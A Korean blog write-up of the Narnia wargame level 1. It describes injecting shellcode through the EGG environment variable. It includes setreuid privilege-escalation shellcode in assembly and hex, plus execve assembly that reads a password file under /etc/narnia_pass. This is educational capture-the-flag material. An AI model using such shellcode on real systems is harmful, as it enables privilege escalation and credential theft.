농소

Narnia Level 1 본문

Wargame/Narnia

Narnia Level 1

농소 2018. 2. 3. 04:01

level1 - > level2 시작해보겠습니다



이번에도 c파일을 열어서 무슨 취약점이있는지 봅시다.



환경변수 egg변수의 값이 null이면 종료되고 아니라면 egg변수값을 가져와 실행을 하네요.

그렇다면 egg환경변수에 쉘코드를 작성해서 실행시키면 될 것 같습니다.



이런식으로 egg변수에 쉘코드를 넣고 실행 시켜주었습니다.

그런데 왜인지는 모르겠지만 쉘은 실행이 되었지만 권한상승이 안되었네요

이럴경우 방법은 2가지가 있습니다


1. 쉘코드 전 setreuid를 추가해 준다.


2. 쉘코드가 아닌 cat코드를 삽입하여 비밀번호를 본다.


두가지 중 무엇을 하든 자기가 편한걸 선택하시면 되지만

저는 연습도 할겸 이 2가지 방법을 모두 해보도록 하겠습니다.



1. 쉘코드앞에 setreuid를 추가


        xor     eax,    eax


        mov     al,     0x46

        mov     bx,     14002 // level2

        mov     cx,     14002

        int     80h


\x31\xc0\xb0\x46\x66\xbb\xb2\x36\x66\xb9\xb2\x36\xcd\x80



추가해서 쉘코드를 실행했더니 정상적으로 권한상승까지 된 모습입니다.


2. /bin/cat 이용


/bin/cat /etc/narnia_pass/narnia2


segment .text

global  _start


_start:

        xor     edx,    edx


        push    edx

        push    '/cat'

        push    '/bin'


        push    edx

        push    'nia2'

        push    '/nar'

        push    'pass'

        push    'nia_'

        push    '/nar'

        push    '/etc'

        push    edx



        lea     eax,    [esp+4]

        push    eax

        lea     eax,    [esp+36]

        push    eax,


        xor     eax,    eax

        mov     al,    11

        mov     ebx,    [esp]

        lea     ecx,    [esp]

        int     80h



이렇게 두가지 방법을 통해서 password를 알아냈습니다.


'Wargame > Narnia' 카테고리의 다른 글

Narnia Level 2  (0) 2018.02.06
Narnia Level 0  (0) 2018.02.03